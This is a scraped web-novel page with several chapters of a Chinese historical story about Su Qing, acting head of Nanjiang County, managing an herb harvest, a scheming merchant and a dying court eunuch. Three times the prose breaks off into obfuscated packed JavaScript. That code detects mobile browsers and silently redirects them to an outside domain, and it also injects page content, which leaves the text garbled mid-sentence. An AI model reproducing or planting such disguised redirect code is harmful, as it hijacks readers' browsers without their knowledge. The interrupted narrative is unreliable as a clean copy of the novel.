d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355968|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“苏清这小丫头,就算放到皇宫里,必能做个真正的女官。”余内官忍不住感慨。 如今的苏主事,到底不是官员苏清,只是临时的职位罢了。 就跟她的手下,也只能是各房代主事一样。 云喜一个劲点头,随即好奇道:“内官大人,宫里有女官的话,那苏姐姐能不能当真正的官员,就当南江县的官员。” 余内官想了半晌,稍稍摇头:“我还未见过女子当县令的先例。” 事实上,能代掌一县,已经是朝廷无暇顾及了。 云喜叹口气。 他是南江县本地人,最了解本地人的想法。 倘若换个人来做县令,肯定不如苏姐姐的。 余内官见这机灵的少年难得沉默,宽慰道:“或许是我见识浅,回头我问问,有没有这种情况,本朝没有,那就看看先朝。” 就算只有一个例子,说不定还真能请旨。 让苏清做真正的官员,即使是七品芝麻官,也不错了。 苏清听到云喜眉飞色舞转达,心念一动,不过好笑道:“有名无实也罢,有实无名也行。” “就算有机会,也要自己能把握住。” 现在南江县的情况,还不足以让人点头。 再说了,没有先例又如何。 没有先例,她可以当那个头一份,岂不是更好。 接下来几日里,云喜等人照料的愈发好,那新方子也很不错。 等到四月二十一,余内官的病已经好了大半,可以出房间活动活动。 人只要能下地,多吃些好饭,距离康复也就不远了。 四月二十四,距离他们启程还有一日,余内官说话都很有气力。 苏清过来的时候,余内官正在给云喜赏钱,见刘小妹跟着苏清过来,也抓了一把给她。 他这辈子无后,更不想跟族人子侄多来往,故而愈发喜欢别人家的小孩。 苏清这次过来,肯定是送行的。 她跟余内官接触这样久,明白这是个口直心快的公公,交谈起来十分畅快。 “军中所需药材数量极大。” “只要你们这批药材种的好,以后再收购,就简单了。”余内官说着,又道,“还有,你们南江县照顾伤员的事,我也报上去了。” “你们记好钱粮损耗,到时候一并批复。” 听到这,苏清心里的大石头终于落地,起身拱手谢过余内官:“多谢内官看重,我等跟南江县百姓万分感激。” 余内官也笑,苏清不过十七,在他眼中也是孩子年纪,招招手:“坐吧,以后要打交道的地方多着呢,不用这样客气。” 四月二十五早上,平白先刮了一阵风,随后淅淅沥沥下起雨,雨滴不算大,却密得很。 余内官一行已经上船,朝苏清他们招手:“快回吧,等消息即可。” 苏清让人快送些蓑衣雨伞过去,远远看着船只驶向江对岸。 等余内官的船只再也看不到,远处又来了一艘极为华丽的商船。 苏清顿了下,身上则被顾从斯披上蓑衣。 见苏清看过来,顾从斯道:“你一直不接。” 好吧,苏清又被戴上草帽挡雨,下意识再次看向那艘船。 而船上拿着西洋镜的叶山鸣嘴角挑起:“竟看了出《琵琶记》。” 身边人奇怪,琵琶记? 这不是讲未婚夫妇的戏吗。 西洋望远镜,还能看到顺昌国的戏? 好神奇啊! 苏清自然不知这些话,满脑子一个念头,他们南江县,要发财了! 23.第 23 章 明明已经四月底了,这雨忽然下下来,还是有些凉。 苏清又看了眼那艘商船,对码头书吏低语几句。 果然,一个时辰后,码头书吏来报:“确实是叶家的商船,也确实是叶大少爷亲至。” 她就说,这次的叶家船只,格外华丽。 这叶大少爷上次过来,还是问他们要粮。 如今早就欠货两清,这次来,所为何事? 顾从斯想到什么,开口问道:“上次你说,他送你一份礼物,是什么?” 什么时候说的? “元宵节,送药材种子那次。” 苏清想了好一会,才想到这回事。 都过去三个多月了,顾从斯怎么还记得。 不过礼物嘛。 确实送了。 见苏清不答,顾从斯皱眉。 到底有什么,是他不能知道的。 苏清只对武捕头道:“注意叶家的动向,看看他们有什么好买卖。” 在其他地方做买卖就算了。 在南江县的话,她必须知晓。 不过接下来几天里,叶山鸣只见了接替王乡绅的张大户,又巡查了他家的百货铺。 说是带来不少新奇好玩意儿,引得南江县有钱人都去买。 见他没什么动作,苏清也不再关注了,把精力都放在即将收获的药田上。 九千亩药田,第一茬在五月初六可以收获。 陆陆续续,一直到五月二十九收完。 收完之后,就可以继续种其他药材,育苗工作还要继续,接着统计新药田的数量。 余内官的手下巡查完药田,就有不少农户心生后悔,怎么不跟着种药材。 但没关系,第一批错过了,可以种第二批。 罗户房说的高兴,苏清却提醒道:“主粮跟经济作物的比例还要多关注。” “不能因为药田挣钱,就不种粮食的。” “倘若有这样的农户,尽快规劝,劝不动就押到衙门里。” 没办法,种药田不积极,苏清担心规模不够大,人家军中不重视。 种的太积极,不种粮食了,那更是动摇根基。 中间的度,必须把握好。 苏清总算知道她姥姥说的,别想着一次性解决问题,也没有一劳永逸。 他们这个位置,就是要不停地解决问题。 也正因这般想法,她是最不怕出意外的人。 罗户房立刻领命,不会让这种事情发生。 多数农家人并不糊涂。 他们清楚地知道,只有先饿不死,才有力气赚其他银子。 反而县里几家地主大户,对此蠢蠢欲动,想要逼着手底下佃户们都种药材。 幸好苏清的政令到了,才让他们歇了心思。 几番处置下,南江县农户无不心服口服。 “明日便是官田第一茬药材收获。”苏清道,“衙门肯定要到场的。” “通知七家药铺掌柜大夫,到时候一同前往。” 几家药铺都知晓,提前做了准备,更备下桌椅器物贡品香烛吃食杂耍戏子等等。 大家都知道,这是他们发家的好机会,务必请神佛保佑,求个吉利。 永晟二年,五月初六。 苏清为首,顾从斯居其后,其他人或开路,或伴在左右,一齐往官田走去。 梅娘也带着朱娘子等人前去看看热闹。 收获的日子,自然无比轻快。 要说南江县的官田,自苏县令在时,便整治一番。 留在此地的佃户,都是勤劳肯做事的。 如今换了苏清来管,让他们兼种药材,是有些不愿意。 但不愿意归不愿意,事情却做得漂亮。 好在如今知道,那军中后勤余内官已然应下。 他们只等着收钱,自然无话可说,满心欢喜。 苏清到的时候,七家药铺掌柜大夫家眷都已到齐。 苏清看了过去,一眼看到人群中间的叶家大公子,对方依旧拿着折扇,朝她挥了挥。 “他怎么在这。”顾从斯明显不满。 叶山鸣直接走过来,笑道:“小的见过女县官。” “我家跟药材七家之一聂家合作,故而在此,以后还请衙门多多照拂。” 虽在解释顾从斯的疑问,叶山鸣却一直看着苏清。 苏清像是并不惊愕,只微微点头,又听聂家掌柜说了一遍,方道:“既然入资了你家药铺,那便没话说,须小心行事,有事可来衙门寻我。” 聂家掌柜兼大夫连连点头,大大松口气。 他只会医术,不善经营,否则也不会居于七家药铺之末。 之前什么好事他都赶不上。 叶家找他合作,虽然突然,却正中下怀,既能扩大店面,又能撇去经营之烦恼。 现在又要苏主事做事,终于可以心安了。 叶山鸣挑眉,似乎不知道这话是在点他这个外地商人。 不过苏清的态度,让本地人十分高兴。 他们主事,就是向着自己人的。 有人甚至收了去叶山鸣的敌意,不再把他视作威胁。 “多谢了。”叶山鸣故意压低声音。 苏清只当不知道,让手下安排收获。 叶山鸣安排的吹打队伍,香烛祭祀也派上用场。 官田之上,不管衙门官吏,还是收获的佃农,以及围观百姓,热热闹闹看向成熟的药材。 不说了! 收获! 这么好的日子,赶紧收药了! “这药材长得饱满漂亮,收下来之后再经处理,就是上好的伤药。” “真好啊,没想到咱们南江县,意外地适合种药。” “这次种的好,药也全被收走,下半年愿意种药的农户增加不少,各村村长里长,都在商议多种药。” 那他们这些药铺老板,只从中赚取收购买卖的银子,就能获利不少。 哎,听苏主事的话,果然没错。 幸好当初配合她防治疫病,否则没这样好的事。 没看白家郝家。 当初他们最先响应苏主事,如今衙门大小病痛,乃至后勤余内官生病,都是他们去的。 还有照顾伤员,同样能得银钱。 现在江南叶家都来分一杯羹。 必然也是看中伤药的走势。 众人欢呼时,苏清又看向叶山鸣,客气请他留步。 顾从斯见她表情,知道还有缘由,便伴在左右。 叶山鸣今日穿了身鹅黄绣文长衫,戴着的配饰无一不精美华丽。 好在他这个人身形高挑,与顾从斯不相上下,看着多了几分气势。 此刻笑眯眯走过来,不知道的人,只当他是哪家富贵闲人。 苏清此刻却无暇欣赏这位的俊朗,只道:“叶公子,你是得到什么消息了吗。” “南江县这边,难道有什么变动。” 叶山鸣不答,见苏清瞪他,这才笑道:“苏主事还真是见微知著。” “你可比一般男子强多了。” 这下,才看了眼苏清的未婚夫顾从斯。 叶山鸣虽在江南,这里的情况却一直知晓。 自借粮还粮惩治王乡绅之后,后来一件件事,都可见苏清魄力。 甚至还能搭上军中关系,若不是她的能力众所周知,军中也不肯让她照顾伤员,并帮她搭上内官的线。 但百闻不如一见。 真到跟前了,方知她的聪慧不止于此。 苏清见他要答不答,只扯闲篇,直接道:“听闻叶家做些宫廷买卖,是不是得知什么重要消息。” “你家年前在此地设百货杂店,还好理解。” “这次亲自过来,参与伤药买卖,必不是只为那九千亩药田。” 话至如此,叶山鸣也不必瞒了,本就是要同苏清提前商议的,他正色道:“宫中确实有消息。” “总兵大人提议,让南江县成为军中后勤伤员中转地。” “也就是说,以后各地运往前线的物资,大部分都会经过南江县。” “船只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365907|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车马,皆在此地停靠。” 苏清跟顾从斯同时倒吸一口凉气。 两人相处时间久,动作极为同步,看的叶山鸣牙酸。 但他也知道,这对“未婚”夫妇为何惊愕。 因为此事一旦能成。 整个南江县,只赚来往差人的落脚钱,都能大赚一笔。 简单来讲。 就算放到现代,作为交通枢纽的地方,必然繁华。 人来人往,能带来不知多少收入。 倘若真的能成。 南江县的发展,必然极为迅速,往后被称为北边小江南也未可知。 怪不得叶家大少爷亲自来布局。 “南江县太平安定,粮价平稳,又没有疫病。” “加之种药材,清航道,跟内官关系也不错。” “总兵大人,如何不看重。”叶山鸣笑着道,语气里带了不加掩饰的欣赏。 战乱过后,其他地方官员疲于奔命。 南江县,独树一帜。 但话说到这。 别说苏清,就是顾从斯,脸色都变得不好。 叶山鸣当然明白怎么回事,垂眼道:“这事对南江县只有好处。” “但对苏主事你,福祸焉知。” 毕竟这么大责任,这么丰厚的利润。 会交给苏清吗。 她只是无名无分的代主事,从来都不是本地官员,甚至不是书吏。 像是故意打破沉重气氛,叶山鸣挑眉看向顾从斯:“世事多变啊。” “对了,你这里倒有个好消息。” “广乐府快有新知府新学政了,今年八月秋闱必开。” “提前恭喜顾秀才成为顾举人。” 顾从斯脸色更差,下意识看向苏清。 苏清可能会被换掉,秋闱却要开了。 自己若考上举人,他不敢想家里会如何做。 顾从斯反击:“若真能高中,到时候请叶少爷来喝双份喜酒。” 秋闱酒跟喜酒。 叶山鸣撇撇嘴,据他所知,顾家眼高于顶,还真把自己当未婚夫了。 苏清这性子,不适合嫁人洗手作羹汤。 该给他当伙计掌柜才是,必然能把此地生意做起来。 苏清翻了个白眼,制止两人莫名其妙地针锋相对,直接道:“想把我换掉,还早得很。” 苏清忽然想到余内官的话。 还是要把这代主事,早点转为正的。 将南江县做前线物资中转地一事,既是危机,也是机遇。 她必须马上行动。 苏清不加犹豫,写了三封书信出去。 寄出去之前,还让顾从斯帮她润润色,普通信件就算了,这种信件还是要拽点古文,她是真不会。 余内官一封,问问有没有女子做县官的先例,还请内官帮忙周旋。 又问候余内官身体如何,送了几服好药。 薛守备那边比较简单,请他把最后一封信送到总兵大人手中。 信里不提自己知晓中转地一事,只讲如今身份多有不便,想谋个名正言顺的官职。 否则底下三班六房的书吏差役们,也上不了官府文牒,办事多有不便云云。 他们南江县战后不易,还望总兵大人可怜。 最后又谢过总兵大人,谢他当初平乱,并亲自解下她爹苏县令悬挂在城楼上的尸体,让她父亲得以入土为安。 自己携母亲以及五岁幼弟拜谢,若有机会,还要亲自捧礼谢过。 此信文辞虽为顾从斯润色。 可里面的意思却是苏清想写。 顾从斯这才明白,怪不得有人会夸信件写的机敏。 苏清这信,便足够机敏。 在他看来,南江县的县令,非苏清莫属。 只是不知,那总兵大人何意。 苏清笑,不管总兵何意,她都会为自己争取。 此路不行,她就再试试别的。 反正这官,她肯定要做。 让她把心血让给别人?这绝不可能。 24.第 24 章 信件将要送出,顾从斯却未走,看向埋头处理公文的苏清,开口道:“我想请爹娘与你家交换名帖八字,今日办完公事,能否同梅婶娘商议。” 罗户房,云喜,刘小妹对视一眼,随即高兴起来。 这两人,终于要把婚事提上日程了吗?! 即便现在不好成亲的,只定亲也行啊。 罗户房到底经的事多,明白这是顾秀才的考量,想让苏主事安心。 无论这主事谁来做,苏清都有退路。 还有一层原因,自是今年秋闱在即。 等顾秀才成为顾举人,顾家阻力更大。 毕竟如今这种情况,顾家夫妇都不愿意。 若以后情况有变,估计会连夜带着顾从斯离开。 都在衙门当差,谁还不知道顾家的小心思。 更别说,之前顾秀才也没明确表过态,顶多跟梅娘有来往。 若不是他这点动作,很多人都快忘了两人还有口头婚约。 别人都知道的事,苏清怎么会不明白,她揉揉额角。 如今她一心想着怎么保住官职,更要把收获下来的药材晾晒收好,等军中接收。 哪有工夫管这些。 再说,对于这件所谓的婚事,她也没认真思考过。 如今更不是思考的好时机。 硬要说的话,她更倾向于取消。 苏清斟酌几分,开口道:“如今事多,等事情忙完再说吧。” 再说?! 顾从斯看了看罗户房他们,示意他们离开。 这怎么可以再说。 两人早就定了婚约,如今不过往前推进。 苏清却摇头,不让罗户房走,还要处理药材的事,忙死了,你要去哪? 罗户房要走不能走,要留不能留。 你们未婚夫妇吵架,关我什么事啊! “信件要尽快送出。”苏清提醒,“还不知朝廷命令什么时候下来。” 想来,也不会太久。 现在已经五月初六。 想要乡试如期举行,那各级官员七月份就要到任,六月便要出发。 时间不等人。 更不等她。 顾从斯只好暂时放下他跟苏清的事,立刻差妥帖的人送信,又额外给送信差役不少银钱,让他们务必快些送到。 南江县可能成为后勤中转地,以及或许会换主事的事,外面暂时还不知道。 现在家家户户都在关注药材的事。 已经种了的,收药晒药,半点不会马虎。 还没种的,则要约定药材苗,整理出适合种药的田地。 即使田地不多的人家,也能在小菜园里隔片区域。 衙门都说了,以余力来种药材,不得损伤粮田种经济作物。 南江县的情况,比叶山鸣想得还要井井有条。 甚至粮田药田会相互挤压这种情况,她都在提前预防。 “可惜了,京城看不到这些。” 叶山鸣嘴上说可惜,实际上却是笑眯眯:“也好,这样的人才,可以为我所用。” 他只等着苏清被换下,便立刻以千两金银,聘她做叶家在广乐府各分号主事。 小小的广乐府二三十家分行,对苏清来讲,应该是小菜一碟。 为此,叶山鸣借着药材之事,经常往衙门跑。 又听说顾秀才想要让两人抓紧定亲,笑眯眯对苏清道:“哎,何必呢。就算不做官了,还有别的路走。” “真成亲了,只能相夫教子。” “对了顾秀才,你们读书人有句话叫什么,悔教夫婿觅封侯,是什么意思?” 顾从斯气急,咬牙道:“叶老板,此事好像与你无关。” 叶山鸣耸耸肩:“我这人只是心肠好。” 心肠好? 苏清抬头:“确实心肠好,好端端的,送我一份大礼。” 什么大礼? 叶山鸣恍然大悟,笑得一双桃花眼更俊朗。 顾从斯堪称漂亮的脸上,却透出几分凌厉。 苏清刚要说话,就见罗户房走过来,一脸愁容:“苏主事,新找的库房又不够用了。” 罗户房看到叶家大少爷在,只说了这句话。 请叶山鸣离开后,罗户房继续道:“还有第一批交药材的佃户农户,他们拿着欠条来要银子。” 从五月初六开始,至今五月十六。 陆陆续续收了十几万斤晒好的药材。 这些药材从农户佃户家中,运到码头库房。 衙门暂时没钱,只按照各家药材数量打了欠条,只等军中银子到了,再加利息一并还上。 先说第一件事。 那就是库房不够用。 码头库房确实紧张,毕竟来往船只颇多,多数库房都被各家商户租用,价格也节节攀涨。 苏清道:“把距离码头最近的义仓腾出来,暂时先用着,等手头有钱了,再去码头建新仓。” 第二件事更为头疼。 虽说衙门打了欠条,还有利息。 但若不是有苏清苏主事在,别说欠条了,就算盖了官府印章,这些农户佃户也是不肯的。 这种情况下,能宽限他们几日,已经是百姓们的信任。 可收购药材,兑换银子这事。 军中暂时还没有消息。 “数着日子,也差不多了吧。”罗户房道,“余内官四月底走的,现在也小二十天了。” 苏清点头。 但她心里,总有点不安。 就算军中办事章程多,可她十日前送去的三封信,只有薛守备给她回信,说给总兵大人的信件已送到,让她等消息即可。 就说事情办不成,回封信总可以吧。 就算总兵贵人多忙。 那余内官呢? 但越是这种时候,她越不能慌乱,问道:“衙门账上还有多少银子。” “对了,我三叔他交上去的五百九十四两银子,应该没动吧?” 罗户房答了账上的情况,又说后面银子没动过。 “先挪后面的钱,还是鼓励大家晚点兑银子。”苏清道,“我让武捕头跟龚兵房再去催一催。” 尤其是余内官那边,到底怎么回事。 他们关系处的挺好啊。 苏清难得烦躁。 各种事情堆在一起,是个人都难免头疼。 不过她面上不变,让衙门上下都颇为安心。 作为主事,她最不能表现得急躁。 谁料苏清这封信还未送出去,南江县码头又送来个熟悉的人。 “余内官来了!”武捕头道,“病得更厉害了。” 龚兵房道:“军中大夫说没有办法,又看过南江县这边开的方子,说这里的大夫治疗痢疾更厉害,便让人送回。” 原来不回信,是不能回了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370063|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对比第一次到南江县时,余内官脸色变得乌青,整个人气若游丝。 “四月二十五走的时候,已经好了大半啊。” 那王公公李公公抹着眼泪:“本来已经大好了,五月初又发急症。” 这次连衙门都来不及送,直接送到白家医馆里。 苏清深吸口气。 当你以为,事情已经够糟的时候,还能更差劲啊。 进到白家医馆,苏清干脆上手诊脉。 幸好姥姥愿意教,她小时也愿意学,否则还真不知该如何应对。 不诊脉倒罢了,诊脉才能发现,对比上次的脉象更加虚浮。 苏清眼神透着惊恐,又去诊另一边。 余内官全程没有丝毫反应。 旁边的白大夫,以及赶来郝大夫聂大夫等人,都从对方眼神里,看出同样的想法。 余内官,快不行了。 他病得太厉害,几次三番反复。 已然病入膏肓。 最多撑不到明日。 但更让大家不知如何开口的是。 余内官,是南江县药材买卖重要的中间人。 他若是没了。 还死在南江县。 那他们跟军中的交易?! 那七家药铺的投入。 还有本地百姓的辛苦。 似乎都要泡汤了。 得罪一个内官不可怕。 可怕的是这些内官多有结义,多有朋党。 苏主事的官职。 乃至他们这些人,都会收到牵连。 明明前几天,大家还高高兴兴地啊。 明明前段时间还在庆祝丰收。 苏清闭了闭眼,脑子里一团乱麻。 她不能乱。 她要救自己。 赶来的顾从斯跟叶山鸣还未站定,就听人群中间的苏清道:“去找我娘,取来我家珍藏的人参。” “再把云喜,小妹都喊过来。” “他们之前一直照料余内官,想来最是妥帖。” “都站在这干什么,病人最需要静养,除了王公公李公公,大夫药童之外,都不许进入。” 苏清一连串吩咐,众人立刻响应。 顾从斯最后往门内看一眼,只见苏清拿起白家祖传的银针,在余内官几个穴位上刺入。 她动作利落,没有半分迟疑。 梅娘听说此事,急急忙送来娘家珍藏的人参。 白大夫亲自煎药,送到病房当中。 不仅苏清寸步不离,云喜跟刘小妹也不得离开,并要他们两人亲自喂药。 余内官先是针灸,再是人参服下,终于艰难睁开眼。 一生注定无子女的余内官睁开眼,看到的便是十一岁小女娃捧着药汤,十三岁小少年一手拿帕子,一手拿汤勺给他喂药。 “好,好。”余内官眼眶含泪,“好啊,” 旁人或许不知他这种情况了,为何还在说好。 王李两位公公却明白。 他们是绝不会有子嗣的,都说人越缺什么,便越想要什么。 自己这些没根的人,做梦也想到会有子女绕膝,悉心伺候汤药的场景。 余内官,还真是幸运。 就在此刻,苏清缓缓开口:“余内官,您要是不嫌弃,将这两个孩子收做义子义女,可好。” “这两个孩子着实可怜,做梦都想有个真真的爹。”